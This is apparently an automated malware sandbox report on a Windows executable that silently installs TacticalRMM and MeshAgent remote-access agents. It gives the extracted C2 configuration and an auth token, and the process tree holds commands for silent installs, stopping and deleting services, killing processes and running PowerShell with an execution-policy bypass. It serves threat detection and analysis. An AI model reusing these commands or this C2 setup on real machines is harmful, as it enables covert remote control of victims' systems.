Overview

overview

10

Static

static

1

2025-02-01...ch.exe

windows7-x64

10

2025-02-01...ch.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    133s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    01/02/2025, 12:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-02-01_34cb005971e1693a2d149bf08339cfe0_frostygoop_hijackloader_luca-stealer_poet-rat_snatch.exe

  • Size

    5.0MB

  • MD5

    34cb005971e1693a2d149bf08339cfe0

  • SHA1

    cf64dffb99a576c90fb37d54dac59573575dc480

  • SHA256

    d46c31b59d8e8bed3a3eebc576d93caf550d7dfb01e0af8e7012946638cf3cc5

  • SHA512

    32273b740dbd1e7576ac14b02156917dad48574e43652a09e4d4b7eb8f71b591751f47b5fd9cc10e7ec36f86b2ab7bbbc9afb33d62794f8944a844121feeee14

  • SSDEEP

    49152:HMMF4Advueerb/TcvO90d7HjmAFd4A64nsfJu+BW7kf2wwuJd5WL1pKCV8jF/a5B:pdvuedaG+5MLV85YEY+ecS

Score
10/10
meshagenttacticalrmmbackdoordefense_evasiondiscoveryexecutionpersistencerattrojan

Malware Config

Extracted

Family

meshagent

Version

2

Botnet

TacticalRMM

C2

http://mesh.heiss.it:443/agent.ashx

Attributes
  • mesh_id

    0x64E32F5E73699E841AE2D03BDCE9A6D8DC7456975C27750739CF982911E980DE7E3FC0DA010F42F7E6F41BD1A7A82754

  • server_id

    49F4FC196CB6C9B0C305BBFD80EC2C2292E4B9B1C0A0602CE17B3318C9AD6B493B96E0DC76A79DA1BE1CD4BAE4FB2B1B

  • wss

    wss://mesh.heiss.it:443/agent.ashx

Signatures

  • Detects MeshAgent payload 1 IoCs
  • MeshAgent

    MeshAgent is an open source remote access trojan written in C++.

    rattrojanbackdoormeshagent
  • Meshagent family
    meshagent
  • Blocklisted process makes network request 4 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in System32 directory 6 IoCs
  • Drops file in Program Files directory 21 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 10 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-02-01_34cb005971e1693a2d149bf08339cfe0_frostygoop_hijackloader_luca-stealer_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-02-01_34cb005971e1693a2d149bf08339cfe0_frostygoop_hijackloader_luca-stealer_poet-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe
      C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1940
      • C:\Users\Admin\AppData\Local\Temp\is-JN2J4.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-JN2J4.tmp\tacticalagent-v2.8.0-windows-amd64.tmp" /SL5="$90194,3660179,825344,C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrpc
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:1692
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2828
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrpc
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2916
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrpc
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2832
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net stop tacticalagent
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2788
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalagent
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2636
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalagent
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2268
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2372
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2816
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2648
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2672
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2708
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM tacticalrmm.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2172
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c sc delete tacticalagent
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1928
          • C:\Windows\SysWOW64\sc.exe
            sc delete tacticalagent
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1652
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c sc delete tacticalrpc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2872
          • C:\Windows\SysWOW64\sc.exe
            sc delete tacticalrpc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2896
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c tacticalrmm.exe -m installsvc
          4⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:548
          • C:\Program Files\TacticalAgent\tacticalrmm.exe
            tacticalrmm.exe -m installsvc
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1340
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net start tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1836
          • C:\Windows\SysWOW64\net.exe
            net start tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            PID:604
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2616
    • C:\Program Files\TacticalAgent\tacticalrmm.exe
      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.heiss.it --client-id 24 --site-id 62 --agent-type server --auth 411292cd1595fb789ccb1871edcf7fd295c73c8b8aa83f66d64762d825a89c19
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2020
      • C:\Program Files\TacticalAgent\meshagent.exe
        "C:\Program Files\TacticalAgent\meshagent.exe" -fullinstall
        3⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Drops file in Program Files directory
        PID:316
      • C:\Program Files\Mesh Agent\MeshAgent.exe
        "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
        3⤵
        • Executes dropped EXE
        PID:2328
  • C:\Program Files\Mesh Agent\MeshAgent.exe
    "C:\Program Files\Mesh Agent\MeshAgent.exe"
    1⤵
    • Executes dropped EXE
    • Drops file in Program Files directory
    PID:2608
    • C:\Windows\System32\wbem\wmic.exe
      wmic SystemEnclosure get ChassisTypes
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1308
    • C:\Windows\system32\wbem\wmic.exe
      wmic os get oslanguage /FORMAT:LIST
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1772
    • C:\Windows\System32\wbem\wmic.exe
      wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1612
    • C:\Windows\system32\wbem\wmic.exe
      wmic os get oslanguage /FORMAT:LIST
      2⤵
        PID:2348
    • C:\Program Files\Mesh Agent\MeshAgent.exe
      "C:\Program Files\Mesh Agent\MeshAgent.exe"
      1⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      PID:2240
      • C:\Windows\System32\wbem\wmic.exe
        wmic SystemEnclosure get ChassisTypes
        2⤵
        • Modifies data under HKEY_USERS
        PID:2152
      • C:\Windows\system32\wbem\wmic.exe
        wmic os get oslanguage /FORMAT:LIST
        2⤵
          PID:1148
        • C:\Windows\System32\wbem\wmic.exe
          wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
          2⤵
            PID:2840
          • C:\Windows\System32\wbem\wmic.exe
            wmic SystemEnclosure get ChassisTypes
            2⤵
              PID:2756
            • C:\Windows\System32\wbem\wmic.exe
              wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
              2⤵
                PID:2660
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -noprofile -nologo -command -
                2⤵
                • Drops file in Program Files directory
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2752
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -noprofile -nologo -command -
                2⤵
                • Drops file in Program Files directory
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2096
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -noprofile -nologo -command -
                2⤵
                • Drops file in Program Files directory
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2940
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -noprofile -nologo -command -
                2⤵
                • Drops file in Program Files directory
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3040
            • C:\Program Files\TacticalAgent\tacticalrmm.exe
              "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m svc
              1⤵
              • Executes dropped EXE
              • Drops file in System32 directory
              • Drops file in Program Files directory
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              PID:1772
              • C:\Program Files\TacticalAgent\tacticalrmm.exe
                "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m checkrunner
                2⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                PID:532
                • C:\Windows\system32\cmd.exe
                  cmd /c C:\ProgramData\TacticalRMM\4143340461.bat
                  3⤵
                    PID:1748
                • C:\Program Files\Mesh Agent\MeshAgent.exe
                  "C:\Program Files\Mesh Agent\MeshAgent.exe" -nodeid
                  2⤵
                  • Executes dropped EXE
                  PID:2092
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\1761676906.ps1 "-Mode upgrade" "-Hosts 50"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2544
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -ExecutionPolicy Bypass C:\ProgramData\TacticalRMM\526330862.ps1
                  2⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2548

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              System Services

              1
              T1569

              Service Execution

              1
              T1569.002

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Defense Evasion

              Impair Defenses

              1
              T1562

              Modify Registry

              2
              T1112

              Subvert Trust Controls

              1
              T1553

              Install Root Certificate

              1
              T1553.004

              Credential Access

              Discovery

              Query Registry

              2
              T1012

              Remote System Discovery

              1
              T1018

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              System Network Configuration Discovery

              1
              T1016

              Internet Connection Discovery

              1
              T1016.001

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Service Stop

              1
              T1489

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Program Files\Mesh Agent\MeshAgent.db
                Filesize

                153KB

                MD5

                02c367b94e6e4b606666873f180cc2d7

                SHA1

                e9ae639ac51516cf4ef3fa93bc26dc7224c7ee00

                SHA256

                191d6ab7abd9f962bab98c05fb546966b1aee260f5f9a2bc76b56dd64a90cac2

                SHA512

                a5544b6287793eb7a31cfb0c97aa8d9839e7309dd31ab055da84cf460fdba0799a300a5496b8662df8b69fab17c3c6e4c952166645a6a60b66f627ed1e46407d

                Download Submit

              • C:\Program Files\Mesh Agent\MeshAgent.msh
                Filesize

                31KB

                MD5

                9777095f1869e9a473659a810137fc0f

                SHA1

                c04e0c460d57cb8f88d874658d264f0630e89a17

                SHA256

                4b03cbefd0c2663588c716c4c046cd032313cde490c6c738fb12c972494bacea

                SHA512

                3abc0eca7c23faf8e03e789e9d4d243304257933e1575e6f73937efad994f73088037597c3604da354b04708478e13b83e17e6c9701f14c79fd9f594c7bfdf0a

                Download Submit

              • C:\Program Files\TacticalAgent\agent.log
                Filesize

                67B

                MD5

                b95e8e54dfedc6af423865909611e774

                SHA1

                9b80344e9489c5a2fa77fb9b0646efe10b4799f6

                SHA256

                9560146dd4be2a8fa2d6f33328530e40d07b3efe4730d79f7b8de86ad1ba7453

                SHA512

                48413d0a148329307c15982149da6c4c24774f3c1912217bf605a9cd3c7bf8041e07bc9154d9545a6a1aa99c365ebf10d87a46e4f24a03bfe6c6df12c175c0d7

                Download Submit

              • C:\Program Files\TacticalAgent\tacticalrmm.exe
                Filesize

                9.2MB

                MD5

                bb383b7c3d5e4acb1001ab099b5b0f3c

                SHA1

                cb0c85f84a454aa4b1aab02bfba47c4355c2311e

                SHA256

                a6d3159c858aa3704f35d69b27829618ad0d1bae894c848a5233100c17464f95

                SHA512

                157dda96d1cacea55a6be27b9d432225b47d7334e664e577cef82a14c7eb1be1b8b84423b3905a4c1caecb5394be264d9b5c3e32109a4893e51a9d406ce740be

                Download Submit

              • C:\ProgramData\TacticalRMM\1761676906.ps1
                Filesize

                2KB

                MD5

                543c783c5c22fda2a4eb71b3579966f6

                SHA1

                0c6d59d99f4f2fb2c616c8ac6b54eddfb8524a2f

                SHA256

                88b07e1f9805aa335e747b2ad96315a9323777bd7dd468c5c191aab26e646b80

                SHA512

                4a8df149cf35d6d047d52daa52151929a18c7f8bf6c891c3e4c88c34aaee0302a27d49cafac736616fbdc2bedb9a13d428df7ef2774ce30a5da338949bf0be2e

                Download Submit

              • C:\ProgramData\TacticalRMM\4143340461.bat
                Filesize

                184B

                MD5

                18927607e1da547344788bb369384f76

                SHA1

                ea8584ebb8b16ffe8beed50b633baf238c6fcfe7

                SHA256

                b99cc050e50207e6f9fbc54925ee300d897c16b259fbf6f07df1cd3d6fb9699e

                SHA512

                316a87f96360cc508ec0bc6e49a2c08e7264f7ce3cec7b5622d0704ce11891ffd83e1f289d8f5993d16dca6b7908b9fac3afc27c3c0f2025267fad874cd5c980

                Download Submit

              • C:\ProgramData\TacticalRMM\526330862.ps1
                Filesize

                35KB

                MD5

                e9fb33c49bee675e226d1afeef2740d9

                SHA1

                ded4e30152638c4e53db4c3c62a76fe0b69e60ab

                SHA256

                44e045ed5350758616d664c5af631e7f2cd10165f5bf2bd82cbf3a0bb8f63462

                SHA512

                2661a981d48d58c9ceb1992e55061ce07af0d53b5f38b07de620376e0ea1d876c7e50965e67aee80fe723968bdb956dc7fd93e7923608534c8fb4d21739dbc48

                Download Submit

              • C:\ProgramData\TacticalRMM\tacticalagent-v2.8.0-windows-amd64.exe
                Filesize

                4.3MB

                MD5

                2f046950e65922336cd83bf0dbc9de33

                SHA1

                ddc64a8b21c8146c93c0b19c1eeb0ef784b980c6

                SHA256

                412e1f600251b21911c582e69381f677e663231f5e1d10786d88a026e00ea811

                SHA512

                a11cbf8b8b692d2d5a0e3af5a97f91a3d1f3e7aa39966eb7d62b3244b3913f2fdc21823d5c94de0d98e579f801709df44433af91567356361d5d9699a93b2cbc

                Download Submit

              • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC
                Filesize

                914B

                MD5

                e4a68ac854ac5242460afd72481b2a44

                SHA1

                df3c24f9bfd666761b268073fe06d1cc8d4f82a4

                SHA256

                cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

                SHA512

                5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

                Download Submit

              • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                Filesize

                70KB

                MD5

                49aebf8cbd62d92ac215b2923fb1b9f5

                SHA1

                1723be06719828dda65ad804298d0431f6aff976

                SHA256

                b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

                SHA512

                bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

                Download Submit

              • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
                Filesize

                1KB

                MD5

                a266bb7dcc38a562631361bbf61dd11b

                SHA1

                3b1efd3a66ea28b16697394703a72ca340a05bd5

                SHA256

                df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

                SHA512

                0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

                Download Submit

              • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC
                Filesize

                252B

                MD5

                7ef1c5dcf3711b105c85da819027c7d6

                SHA1

                963a1e7ead0ce4984a4b5ab94f587421c0fe4e20

                SHA256

                804f7b380d351f9fdadaf5468f79922b9d4e65c28acd7c6c4c6440ef7675309e

                SHA512

                1ab32caac852e8c474395bf1d6ef2f5eccbf6365763358c83bc61808d98a81de38649c33e7c52b2851400c4cbbbd5f42e77634f051dfb3db3246b6cdfea6f90c

                Download Submit

              • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                Filesize

                342B

                MD5

                eddff711153ab2735811c24d05fac843

                SHA1

                96bf66cd1b76ea5a4eafaa1801cbcda62bb94a68

                SHA256

                a7e0eac2a68667cb2d80488366efc17f1e01ec1fba3420ee9f6a88d57c666bbf

                SHA512

                d049e6d01b9bea958014df1d7f11b1de49133202464ebf38583782e60814dc3207b4d3cf8b817f39f6dffead0a1b133c01e229d98c6d16f098f074313bdad7dc

                Download Submit

              • C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
                Filesize

                242B

                MD5

                f1c4ff8d9da4d31d22ff026a5f4a7740

                SHA1

                c0a41b8b51519f734ecdaecdb766edbb90ab3e91

                SHA256

                0b1452d993959558bd93fe73299a5ce75ce7e4f4a32014804f58e9b5ffa65350

                SHA512

                3225d8b1ed522077ef77c88a04597b47cca94a2fdeb623c48e5c027e15482f6bf4b92a03869f8690e7d487705a8e95be3da21b78c6b39a617fb751f1bfa083cd

                Download Submit

              • C:\Windows\Temp\Cab6154.tmp
                Filesize

                29KB

                MD5

                d59a6b36c5a94916241a3ead50222b6f

                SHA1

                e274e9486d318c383bc4b9812844ba56f0cff3c6

                SHA256

                a38d01d3f024e626d579cf052ac3bd4260bb00c34bc6085977a5f4135ab09b53

                SHA512

                17012307955fef045e7c13bf0613bd40df27c29778ba6572640b76c18d379e02dc478e855c9276737363d0ad09b9a94f2adaa85da9c77ebb3c2d427aa68e2489

                Download Submit

              • C:\Windows\Temp\Tar639C.tmp
                Filesize

                181KB

                MD5

                4ea6026cf93ec6338144661bf1202cd1

                SHA1

                a1dec9044f750ad887935a01430bf49322fbdcb7

                SHA256

                8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

                SHA512

                6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

                Download Submit

              • \Program Files\TacticalAgent\meshagent.exe
                Filesize

                3.3MB

                MD5

                e25fde9ee12974527ab5a6518730a00a

                SHA1

                3ef921440ed75e2d25fb856b59b4cec674e80244

                SHA256

                83c4d1357b9319cfb4848e0762df08260fc70b193f878e78cb921df4f4129e37

                SHA512

                f2dc8c1e05eee27cd1fe92f9eadce815905c7141f2a5b40934c5345b8df5a96e481130da7f5805854de61028b38afbef091975d1465e649230ae9e4ddb513516

                Download Submit

              • \Users\Admin\AppData\Local\Temp\is-JN2J4.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
                Filesize

                3.0MB

                MD5

                a639312111d278fee4f70299c134d620

                SHA1

                6144ca6e18a5444cdb9b633a6efee67aff931115

                SHA256

                4b0be5167a31a77e28e3f0a7c83c9d289845075b51e70691236603b1083649df

                SHA512

                f47f01d072ff9ed42f5b36600ddfc344a6a4b967c1b671ffc0e76531e360bfd55a1a9950305ad33f7460f3f5dd8953e317b108cd434f2db02987fa018d57437c

                Download Submit

              • memory/1340-24-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/1772-346-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/1772-279-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/1772-280-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/1772-421-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/1772-136-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/1940-28-0x0000000000400000-0x00000000004D7000-memory.dmp

                Filesize

                860KB

                Download

              • memory/1940-7-0x0000000000401000-0x00000000004B7000-memory.dmp

                Filesize

                728KB

                Download

              • memory/1940-4-0x0000000000400000-0x00000000004D7000-memory.dmp

                Filesize

                860KB

                Download

              • memory/2020-32-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/2020-31-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/2020-134-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/2020-133-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/2020-132-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/2020-131-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/2020-123-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/2020-138-0x0000000140000000-0x00000001405E8000-memory.dmp

                Filesize

                5.9MB

                Download

              • memory/2096-120-0x0000000002060000-0x0000000002068000-memory.dmp

                Filesize

                32KB

                Download

              • memory/2096-119-0x000000001B450000-0x000000001B732000-memory.dmp

                Filesize

                2.9MB

                Download

              • memory/2752-111-0x0000000001D90000-0x0000000001D98000-memory.dmp

                Filesize

                32KB

                Download

              • memory/2752-110-0x000000001B210000-0x000000001B4F2000-memory.dmp

                Filesize

                2.9MB

                Download

              • memory/2940-27-0x0000000000400000-0x0000000000712000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2940-14-0x0000000000400000-0x0000000000712000-memory.dmp

                Filesize

                3.1MB

                Download